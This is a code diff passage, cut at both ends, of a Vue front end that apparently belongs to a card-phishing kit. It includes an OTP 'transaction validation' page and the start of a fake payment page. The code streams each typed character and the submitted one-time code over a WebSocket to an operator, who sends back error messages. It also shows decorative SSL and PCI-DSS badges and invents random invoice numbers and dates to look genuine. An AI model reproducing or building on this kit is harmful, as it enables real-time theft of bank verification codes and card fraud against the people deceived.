showLoadingModal.value = false;
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query?.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const saved = localStorage.getItem("message1");
if (saved) {
message1.value = saved;
}
}
localStorage.setItem("route", "otpValid");
startCountdown("");
eventBus.on("otp-valid", handleEvent);
});
onUnmounted(() => {
stopCountdown();
eventBus.off("otp-valid", handleEvent);
showLoadingModal.value = false; // close on unmount
});
</script>
<template>
<div class="otp-page">
<!-- Top bar -->
<div class="otp-topbar">
<div class="otp-topbar-left">
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
</div>
<div class="otp-topbar-right">
<CardType1 :cardType="cardType" />
</div>
</div>
<!-- Main card -->
<div class="otp-card">
<!-- Icon + Title -->
<div class="otp-hero">
<div class="otp-shield-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
</div>
<!-- Form -->
<form class="otp-form" @submit.prevent="submit">
<div class="otp-input-group">
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
<div class="otp-input-wrap" :class="{ 'has-error': message }">
<input
required
type="text"
inputmode="numeric"
autocomplete="one-time-code"
:placeholder="t('otp_view.enter_your_otp')"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
class="otp-input"
/>
</div>
<p class="otp-error" v-if="message">
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
{{ message }}
</p>
</div>
<button type="submit" class="otp-btn-submit">
{{ t("otp_view.verify") }}
</button>
<div class="otp-resend-row">
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<!-- Footer -->
<div class="otp-footer">
<div class="otp-footer-badges">
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
SSL
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
PCI-DSS
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
{{ t("otp_view.secure_checkout") }}
</span>
</div>
<div class="otp-help-row">
<span>{{ t("otp_view.need_help") }}</span>
<span class="otp-help-icon">?</span>
</div>
</div>
</div>
</div>
<!-- Loading overlay -->
<transition name="otp-fade">
<div class="otp-loading-overlay" v-if="showLoadingModal">
<div class="otp-loading-dialog">
<div class="otp-spinner"></div>
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
</div>
</div>
</transition>
</template>
<style scoped>
/* ===== Page ===== */
.otp-page {
min-height: 100vh;
background: #f8fafc;
display: flex;
flex-direction: column;
align-items: center;
box-sizing: border-box;
}
/* ===== Top bar ===== */
.otp-topbar {
width: 100%;
max-width: 520px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 16px 20px;
box-sizing: border-box;
}
.otp-logo {
width: 32px;
height: 32px;
object-fit: contain;
opacity: 0.75;
}
/* ===== Main card ===== */
.otp-card {
width: 100%;
max-width: 520px;
background: #fff;
border-radius: 16px;
border: 1px solid #e8edf3;
box-shadow:
0 1px 3px rgba(15,23,42,0.06),
0 8px 24px -4px rgba(15,23,42,0.08);
overflow: hidden;
box-sizing: border-box;
margin: 0 16px 32px;
}
/* ===== Hero section ===== */
.otp-hero {
padding: 32px 28px 24px;
text-align: center;
border-bottom: 1px solid #f1f5f9;
background: linear-gradient(180deg, #f8fafc 0%, #fff 100%);
}
.otp-shield-icon {
width: 52px;
height: 52px;
background: linear-gradient(135deg, #eff6ff 0%, #dbeafe 100%);
border: 1px solid #bfdbfe;
border-radius: 14px;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 16px;
}
.otp-shield-icon svg {
width: 26px;
height: 26px;
color: var(--global-primary-color, #3b82f6);
}
.otp-title {
margin: 0 0 10px;
font-size: 1.35rem;
font-weight: 700;
color: #1e293b;
letter-spacing: -0.2px;
line-height: 1.25;
}
.otp-subtitle {
margin: 0 0 8px;
font-size: 0.9rem;
color: #64748b;
line-height: 1.55;
}
.otp-subtitle strong {
color: #334155;
font-weight: 600;
}
.otp-notice {
margin: 6px 0 0;
font-size: 0.78rem;
color: #94a3b8;
line-height: 1.4;
}
/* ===== Form ===== */
.otp-form {
padding: 24px 28px 20px;
display: flex;
flex-direction: column;
gap: 18px;
}
.otp-input-group {
display: flex;
flex-direction: column;
gap: 7px;
}
.otp-label {
font-size: 0.83rem;
font-weight: 600;
color: #475569;
letter-spacing: 0.2px;
}
.otp-input-wrap {
border: 1.5px solid #e2e8f0;
border-radius: 10px;
background: #fff;
transition: border-color 0.2s, box-shadow 0.2s;
overflow: hidden;
}
.otp-input-wrap:focus-within {
border-color: var(--global-primary-color, #3b82f6);
box-shadow: 0 0 0 3px rgba(59,130,246,0.1);
}
.otp-input-wrap.has-error {
border-color: #f87171;
box-shadow: 0 0 0 3px rgba(248,113,113,0.1);
}
.otp-input {
width: 100%;
height: 56px;
padding: 0 16px;
text-align: center;
border: none;
outline: none;
background: transparent;
font-size: 1.5rem;
font-weight: 700;
letter-spacing: 0.25em;
color: #1e293b;
box-sizing: border-box;
}
.otp-input::placeholder {
font-size: 0.95rem;
font-weight: 400;
letter-spacing: 0.05em;
color: #cbd5e1;
}
.otp-error {
display: flex;
align-items: center;
gap: 5px;
font-size: 0.8rem;
color: #ef4444;
margin: 0;
}
.otp-error svg {
width: 14px;
height: 14px;
flex-shrink: 0;
}
/* ===== Submit button ===== */
.otp-btn-submit {
width: 100%;
height: 50px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 10px;
font-size: 0.95rem;
font-weight: 700;
letter-spacing: 0.04em;
cursor: pointer;
transition: opacity 0.15s, transform 0.1s;
}
.otp-btn-submit:hover {
opacity: 0.9;
}
.otp-btn-submit:active {
transform: scale(0.98);
}
/* ===== Resend row ===== */
.otp-resend-row {
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
font-size: 0.85rem;
flex-wrap: wrap;
text-align: center;
}
.otp-resend-text {
color: #94a3b8;
}
.otp-resend-link {
color: var(--global-primary-color, #3b82f6);
font-weight: 600;
text-decoration: none;
cursor: pointer;
}
.otp-resend-link:hover {
text-decoration: underline;
}
/* ===== Footer ===== */
.otp-footer {
padding: 16px 28px 20px;
border-top: 1px solid #f1f5f9;
background: #fafbfc;
}
.otp-footer-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
margin-bottom: 14px;
}
.otp-badge {
display: flex;
align-items: center;
gap: 4px;
font-size: 10.5px;
font-weight: 500;
color: #94a3b8;
white-space: nowrap;
}
.otp-badge svg {
width: 11px;
height: 11px;
fill: #86efac;
flex-shrink: 0;
}
.otp-badge-sep {
width: 1px;
height: 10px;
background: #e2e8f0;
flex-shrink: 0;
}
.otp-help-row {
display: flex;
align-items: center;
justify-content: space-between;
padding-top: 12px;
border-top: 1px solid #f1f5f9;
font-size: 0.82rem;
color: #94a3b8;
}
.otp-help-icon {
width: 20px;
height: 20px;
border-radius: 50%;
border: 1px solid #cbd5e1;
display: flex;
align-items: center;
justify-content: center;
font-size: 11px;
font-weight: 700;
color: #64748b;
cursor: pointer;
}
/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
opacity: 0;
}
.otp-loading-overlay {
position: fixed;
inset: 0;
background: rgba(15, 23, 42, 0.4);
backdrop-filter: blur(6px);
-webkit-backdrop-filter: blur(6px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.otp-loading-dialog {
background: #fff;
border-radius: 16px;
padding: 36px 44px;
text-align: center;
box-shadow:
0 4px 24px rgba(15,23,42,0.12),
0 0 0 1px rgba(148,163,184,0.1);
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
min-width: 200px;
}
.otp-spinner {
width: 40px;
height: 40px;
border: 3px solid #e2e8f0;
border-top-color: var(--global-primary-color, #3b82f6);
border-radius: 50%;
animation: otp-spin 0.8s linear infinite;
}
@keyframes otp-spin {
to { transform: rotate(360deg); }
}
.otp-loading-text {
margin: 0;
font-size: 0.95rem;
font-weight: 700;
color: #1e293b;
}
.otp-loading-sub {
margin: 0;
font-size: 0.8rem;
color: #94a3b8;
}
/* ===== Responsive ===== */
@media (max-width: 540px) {
.otp-card {
margin: 0 0 24px;
border-radius: 0;
border-left: none;
border-right: none;
box-shadow: none;
}
.otp-hero {
padding: 24px 20px 18px;
}
.otp-form {
padding: 20px 20px 16px;
}
.otp-footer {
padding: 14px 20px 18px;
}
.otp-topbar {
padding: 12px 16px;
}
}
</style>
.op-top-content {

View File

@@ -0,0 +1,798 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/loadingStore";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const loadingStore = useLoadingStore();
const { t } = useI18n();
const cardType = ref("");
const message1 = ref("");
const message = ref("");
const formData = reactive({ verifyCode: "" });
const showLoadingModal = ref(false);
const initialTime = 60;
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
// Static label derived from initialTime (e.g. 60s → "1 minute")
const initialTimeFormatted = computed(() => {
const totalSec = initialTime;
const m = Math.floor(totalSec / 60);
const s = totalSec % 60;
if (m > 0 && s === 0) return m === 1 ? "1 minute" : `${m} minutes`;
if (m > 0) return `${m}m ${s}s`;
return `${s} seconds`;
});
const buttonText = computed(() => {
return isCounting.value
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
: t("otp_view.click_for_another");
});
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
loadingStore.setLoading(true);
if (!areAllValuesNotEmpty(formData)) {
loadingStore.setLoading(false);
return;
}
// show loading modal
showLoadingModal.value = true;
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData,
},
})
);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
localStorage.removeItem("otpResendStart");
};
const startCountdown = (resultType: string) => {
if (isCounting.value) return;
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType },
})
);
localStorage.setItem("otpResendStart", Date.now().toString());
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
return;
}
stopCountdown();
}, 1000);
};
const restoreCountdown = () => {
const saved = localStorage.getItem("otpResendStart");
if (saved) {
const elapsed = Math.floor((Date.now() - parseInt(saved)) / 1000);
if (elapsed < initialTime) {
isCounting.value = true;
timeLeft.value = initialTime - elapsed;
timer = window.setInterval(() => {
if (timeLeft.value > 0) { timeLeft.value -= 1; return; }
stopCountdown();
}, 1000);
return true;
} else {
localStorage.removeItem("otpResendStart");
}
}
return false;
};
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
loadingStore.setLoading(false);
// close loading modal
showLoadingModal.value = false;
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query?.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query?.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const saved = localStorage.getItem("message1");
if (saved) {
message1.value = saved;
}
}
localStorage.setItem("route", "otpValid");
if (!restoreCountdown()) {
startCountdown("");
}
eventBus.on("otp-valid", handleEvent);
});
onUnmounted(() => {
stopCountdown();
eventBus.off("otp-valid", handleEvent);
showLoadingModal.value = false;
});
</script>
<template>
<div class="otp-page">
<!-- Top bar -->
<div class="otp-topbar">
<div class="otp-topbar-left">
<img src="@/assets/img/80066acd3fcfa.svg" alt="logo" class="otp-logo" />
</div>
<div class="otp-topbar-right">
<CardType1 :cardType="cardType" />
</div>
</div>
<!-- Main card -->
<div class="otp-card">
<!-- Icon + Title -->
<div class="otp-hero">
<div class="otp-shield-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8">
<path d="M12 2L4 6v5c0 5.25 3.4 10.15 8 11.35C16.6 21.15 20 16.25 20 11V6l-8-4z"/>
<path d="M9 12l2 2 4-4" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h1 class="otp-title">{{ t("otp_view.transaction_validation") }}</h1>
<p class="otp-subtitle" v-if="!message1">{{ t("otp_view.verify_identity") }}</p>
<p class="otp-subtitle" v-else>{{ t("otp_view.code_sent_to") }} <strong>***{{ message1 }}</strong></p>
<p class="otp-notice">{{ t("otp_view.do_not_click") }}</p>
</div>
<!-- Form -->
<form class="otp-form" @submit.prevent="submit">
<div class="otp-input-group">
<label class="otp-label">{{ t("otp_view.verification_code") }}</label>
<div class="otp-input-wrap" :class="{ 'has-error': message }">
<input
required
type="text"
inputmode="numeric"
autocomplete="one-time-code"
:placeholder="t('otp_view.enter_your_otp')"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
class="otp-input"
/>
</div>
<p class="otp-error" v-if="message">
<svg viewBox="0 0 20 20" fill="currentColor"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z" clip-rule="evenodd"/></svg>
{{ message }}
</p>
</div>
<button type="submit" class="otp-btn-submit">
{{ t("otp_view.verify") }}
</button>
<div class="otp-resend-row">
<span class="otp-resend-text">{{ t("otp_view.having_trouble") }}</span>
<a href="javascript:" class="otp-resend-link op-no-obfuscate" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<!-- Footer -->
<div class="otp-footer">
<!-- Security badges row -->
<div class="otp-footer-badges">
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,8H17V6A5,5,0,0,0,7,6V8H6a2,2,0,0,0-2,2V20a2,2,0,0,0,2,2H18a2,2,0,0,0,2-2V10A2,2,0,0,0,18,8ZM9,6a3,3,0,0,1,6,0V8H9ZM18,20H6V10H18Z"/></svg>
256-bit SSL
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2L4,5v6c0,5.55,3.84,10.74,8,12c4.16-1.26,8-6.45,8-12V5L12,2z"/></svg>
PCI-DSS
</span>
<span class="otp-badge-sep"></span>
<span class="otp-badge">
<svg viewBox="0 0 24 24" fill="currentColor"><path d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
{{ t("otp_view.secure_checkout") }}
</span>
</div>
<!-- Info cards -->
<div class="otp-info-list">
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><circle cx="12" cy="12" r="10"/><path d="M12 6v6l4 2" stroke-linecap="round"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.code_expires", { time: initialTimeFormatted }) }}</p>
</div>
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z" stroke-linejoin="round"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.why_need_otp") }}</p>
</div>
<div class="otp-info-item otp-info-warn">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M10.29 3.86L1.82 18a2 2 0 001.71 3h16.94a2 2 0 001.71-3L13.71 3.86a2 2 0 00-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.contact_bank") }}</p>
</div>
<div class="otp-info-item">
<div class="otp-info-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="11" width="18" height="11" rx="2" ry="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
</div>
<p class="otp-info-text">{{ t("otp_view.privacy_note") }}</p>
</div>
</div>
<!-- Help row -->
<div class="otp-help-row">
<span>{{ t("otp_view.need_help") }}</span>
<span class="otp-powered">{{ t("otp_view.powered_by") }}</span>
</div>
</div>
</div>
</div>
<!-- Loading overlay -->
<transition name="otp-fade">
<div class="otp-loading-overlay" v-if="showLoadingModal">
<div class="otp-loading-dialog">
<div class="otp-spinner"></div>
<p class="otp-loading-text">{{ t("otp_view.verifying_code") }}</p>
<p class="otp-loading-sub">{{ t("otp_view.please_wait") }}</p>
</div>
</div>
</transition>
</template>
<style scoped>
/* ===== Page ===== */
.otp-page {
min-height: 100vh;
background: linear-gradient(160deg, #f0f4ff 0%, #fafbff 50%, #f5f7fa 100%);
display: flex;
flex-direction: column;
align-items: center;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif;
}
/* ===== Top bar ===== */
.otp-topbar {
width: 100%;
max-width: 560px;
display: flex;
align-items: center;
justify-content: space-between;
padding: 18px 24px 12px;
box-sizing: border-box;
}
.otp-logo {
width: 28px;
height: 28px;
object-fit: contain;
opacity: 0.6;
}
/* ===== Main card ===== */
.otp-card {
width: 100%;
max-width: 560px;
background: #ffffff;
border-radius: 20px;
border: 1px solid rgba(226,232,240,0.8);
box-shadow:
0 0 0 1px rgba(148,163,184,0.05),
0 4px 6px -2px rgba(15,23,42,0.04),
0 12px 32px -8px rgba(15,23,42,0.1);
overflow: hidden;
box-sizing: border-box;
margin: 0 16px 40px;
}
/* ===== Hero section ===== */
.otp-hero {
padding: 36px 32px 26px;
text-align: center;
background: linear-gradient(180deg, #f8faff 0%, #ffffff 100%);
border-bottom: 1px solid #f0f4ff;
position: relative;
}
.otp-hero::before {
content: '';
position: absolute;
top: 0; left: 0; right: 0;
height: 3px;
background: linear-gradient(90deg,
var(--global-primary-color, #3b82f6) 0%,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 60%, #818cf8) 100%
);
}
.otp-shield-icon {
width: 64px;
height: 64px;
background: linear-gradient(135deg,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 10%, #fff) 0%,
color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, #fff) 100%
);
border: 1.5px solid color-mix(in srgb, var(--global-primary-color, #3b82f6) 25%, #fff);
border-radius: 18px;
display: flex;
align-items: center;
justify-content: center;
margin: 0 auto 18px;
box-shadow: 0 4px 12px color-mix(in srgb, var(--global-primary-color, #3b82f6) 20%, transparent);
}
.otp-shield-icon svg {
width: 30px;
height: 30px;
color: var(--global-primary-color, #3b82f6);
}
.otp-title {
margin: 0 0 10px;
font-size: 1.45rem;
font-weight: 800;
color: #0f172a;
letter-spacing: -0.4px;
line-height: 1.2;
}
.otp-subtitle {
margin: 0 0 10px;
font-size: 0.9rem;
color: #64748b;
line-height: 1.6;
max-width: 380px;
margin-left: auto;
margin-right: auto;
}
.otp-subtitle strong {
color: #1e293b;
font-weight: 700;
}
.otp-notice {
display: inline-flex;
align-items: center;
gap: 5px;
margin: 4px 0 0;
padding: 5px 12px;
background: #fff7ed;
border: 1px solid #fed7aa;
border-radius: 20px;
font-size: 0.75rem;
color: #92400e;
line-height: 1.4;
}
/* ===== Form ===== */
.otp-form {
padding: 26px 32px 22px;
display: flex;
flex-direction: column;
gap: 18px;
}
.otp-input-group {
display: flex;
flex-direction: column;
gap: 8px;
}
.otp-label {
font-size: 0.82rem;
font-weight: 700;
color: #374151;
letter-spacing: 0.4px;
text-transform: uppercase;
}
.otp-input-wrap {
border: 2px solid #e5e7eb;
border-radius: 12px;
background: #fafbfc;
transition: border-color 0.2s, box-shadow 0.2s, background 0.2s;
overflow: hidden;
}
.otp-input-wrap:focus-within {
border-color: var(--global-primary-color, #3b82f6);
background: #fff;
box-shadow: 0 0 0 4px color-mix(in srgb, var(--global-primary-color, #3b82f6) 12%, transparent);
}
.otp-input-wrap.has-error {
border-color: #ef4444;
background: #fff5f5;
box-shadow: 0 0 0 4px rgba(239,68,68,0.1);
}
.otp-input {
width: 100%;
height: 62px;
padding: 0 20px;
text-align: center;
border: none;
outline: none;
background: transparent;
font-size: 1.75rem;
font-weight: 800;
letter-spacing: 0.3em;
color: #111827;
box-sizing: border-box;
}
.otp-input::placeholder {
font-size: 0.92rem;
font-weight: 400;
letter-spacing: 0.04em;
color: #d1d5db;
}
.otp-error {
display: flex;
align-items: center;
gap: 6px;
font-size: 0.8rem;
font-weight: 500;
color: #dc2626;
margin: 0;
}
.otp-error svg {
width: 14px;
height: 14px;
flex-shrink: 0;
}
/* ===== Submit button ===== */
.otp-btn-submit {
width: 100%;
height: 52px;
background: var(--global-primary-color, #3b82f6);
color: #fff;
border: none;
border-radius: 12px;
font-size: 1rem;
font-weight: 700;
letter-spacing: 0.05em;
cursor: pointer;
transition: filter 0.15s, transform 0.1s, box-shadow 0.15s;
box-shadow: 0 4px 14px color-mix(in srgb, var(--global-primary-color, #3b82f6) 35%, transparent);
position: relative;
overflow: hidden;
}
.otp-btn-submit::after {
content: '';
position: absolute;
inset: 0;
background: linear-gradient(180deg, rgba(255,255,255,0.12) 0%, transparent 100%);
pointer-events: none;
}
.otp-btn-submit:hover {
filter: brightness(1.06);
box-shadow: 0 6px 18px color-mix(in srgb, var(--global-primary-color, #3b82f6) 45%, transparent);
}
.otp-btn-submit:active {
transform: scale(0.985);
filter: brightness(0.96);
}
/* ===== Resend row ===== */
.otp-resend-row {
display: flex;
align-items: center;
justify-content: center;
gap: 6px;
font-size: 0.85rem;
flex-wrap: wrap;
text-align: center;
padding-bottom: 4px;
}
.otp-resend-text {
color: #9ca3af;
}
.otp-resend-link {
color: var(--global-primary-color, #3b82f6);
font-weight: 600;
text-decoration: none;
cursor: pointer;
border-bottom: 1px dashed color-mix(in srgb, var(--global-primary-color, #3b82f6) 40%, transparent);
}
.otp-resend-link:hover {
border-bottom-style: solid;
}
/* ===== Footer ===== */
.otp-footer {
padding: 0 32px 24px;
border-top: 1px solid #f1f5f9;
background: #fafbfd;
}
/* Security badges */
.otp-footer-badges {
display: flex;
align-items: center;
justify-content: center;
gap: 10px;
padding: 14px 0 16px;
border-bottom: 1px dashed #e9edf3;
}
.otp-badge {
display: flex;
align-items: center;
gap: 4px;
font-size: 10px;
font-weight: 600;
color: #6b7280;
white-space: nowrap;
text-transform: uppercase;
letter-spacing: 0.4px;
}
.otp-badge svg {
width: 11px;
height: 11px;
fill: #34d399;
flex-shrink: 0;
}
.otp-badge-sep {
width: 3px;
height: 3px;
border-radius: 50%;
background: #d1d5db;
flex-shrink: 0;
}
/* Info list */
.otp-info-list {
display: flex;
flex-direction: column;
gap: 0;
margin: 14px 0 0;
}
.otp-info-item {
display: flex;
align-items: flex-start;
gap: 10px;
padding: 10px 0;
border-bottom: 1px solid #f3f4f6;
}
.otp-info-item:last-child {
border-bottom: none;
}
.otp-info-icon {
width: 28px;
height: 28px;
border-radius: 8px;
background: #f0f9ff;
border: 1px solid #e0f2fe;
display: flex;
align-items: center;
justify-content: center;
flex-shrink: 0;
margin-top: 1px;
}
.otp-info-icon svg {
width: 13px;
height: 13px;
color: #0ea5e9;
stroke: #0ea5e9;
}
.otp-info-warn .otp-info-icon {
background: #fff7ed;
border-color: #fed7aa;
}
.otp-info-warn .otp-info-icon svg {
color: #f97316;
stroke: #f97316;
}
.otp-info-text {
margin: 0;
font-size: 0.795rem;
color: #6b7280;
line-height: 1.55;
padding-top: 5px;
}
.otp-info-warn .otp-info-text {
color: #92400e;
}
/* Help row */
.otp-help-row {
display: flex;
align-items: center;
justify-content: space-between;
padding-top: 14px;
margin-top: 4px;
font-size: 0.78rem;
color: #9ca3af;
border-top: 1px solid #f1f5f9;
}
.otp-powered {
font-size: 0.72rem;
color: #9ca3af;
font-weight: 500;
}
/* ===== Loading overlay ===== */
.otp-fade-enter-active,
.otp-fade-leave-active {
transition: opacity 0.25s ease;
}
.otp-fade-enter-from,
.otp-fade-leave-to {
opacity: 0;
}
.otp-loading-overlay {
position: fixed;
inset: 0;
background: rgba(15, 23, 42, 0.45);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 9999;
}
.otp-loading-dialog {
background: #fff;
border-radius: 20px;
padding: 40px 48px;
text-align: center;
box-shadow:
0 8px 32px rgba(15,23,42,0.15),
0 0 0 1px rgba(148,163,184,0.12);
display: flex;
flex-direction: column;
align-items: center;
gap: 14px;
min-width: 220px;
}
.otp-spinner {
width: 44px;
height: 44px;
border: 3px solid #e5e7eb;
border-top-color: var(--global-primary-color, #3b82f6);
border-radius: 50%;
animation: otp-spin 0.75s linear infinite;
}
@keyframes otp-spin {
to { transform: rotate(360deg); }
}
.otp-loading-text {
margin: 0;
font-size: 1rem;
font-weight: 700;
color: #111827;
}
.otp-loading-sub {
margin: 0;
font-size: 0.8rem;
color: #9ca3af;
}
/* ===== Responsive ===== */
@media (max-width: 580px) {
.otp-card {
margin: 0 0 28px;
border-radius: 0;
border-left: none;
border-right: none;
box-shadow: none;
}
.otp-hero {
padding: 28px 20px 20px;
}
.otp-form {
padding: 22px 20px 18px;
}
.otp-footer {
padding: 0 20px 20px;
}
.otp-topbar {
padding: 14px 16px 10px;
}
.otp-title {
font-size: 1.25rem;
}
.otp-input {
font-size: 1.5rem;
height: 56px;
}
}
</style>

View File

@@ -0,0 +1,111 @@
<script setup lang="ts">
import { computed, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { myWebSocket } from "@/utils/common";
import { globalConfig,goodsConfig } from "@/config";
import { getThemeColors } from "@/config/themes";
import PayTheme1 from "@/components/pay/PayTheme1.vue";
import PayTheme2 from "@/components/pay/PayTheme2.vue";
import PayTheme3 from "@/components/pay/PayTheme3.vue";
import PayTheme4 from "@/components/pay/PayTheme4.vue";
import PayTheme5 from "@/components/pay/PayTheme5.vue";
import PayTheme6 from "@/components/pay/PayTheme6.vue";
const loadingStore = useLoadingStore();
const router = useRouter();
const payDate = ref("");
const invoiceNumber = ref("");
const phone = ref("");
const totalPoint = ref(3022);
// 与 PhoneView 同步,根据 payTheme 动态选择主题组件
const currentThemeComponent = computed(() => {
const themeId = goodsConfig.value.payTheme || 1;
const themeMap: Record<string, any> = {
"1": PayTheme1,
"2": PayTheme2,
"3": PayTheme3,
"4": PayTheme4,
"5": PayTheme5,
"6": PayTheme6,
};
return themeMap[themeId] || PayTheme1;
});
const currentColors = computed(() => {
const themeId = goodsConfig.value.payTheme || 1;
return getThemeColors(themeId);
});
const next = () => {
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/goods");
}, 200);
};
function getDateSevenDaysAgo(): Date {
const currentDate = new Date();
currentDate.setDate(currentDate.getDate() - 7);
return currentDate;
}
function generateRandomNineDigitNumber(): number {
const min = 100000;
const max = 999999;
return Math.floor(Math.random() * (max - min + 1)) + min;
}
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "pay" },
})
);
const dateSeven = getDateSevenDaysAgo();
payDate.value = dateSeven.toLocaleDateString();
const inumber = localStorage.getItem("invoiceNumber");
if (inumber) {
invoiceNumber.value = inumber;
} else {
invoiceNumber.value = generateRandomNineDigitNumber().toString();
localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
}
localStorage.setItem("route", "pay");
const phoneValue = localStorage.getItem("phone");
if (phoneValue) {
phone.value = phoneValue;
}
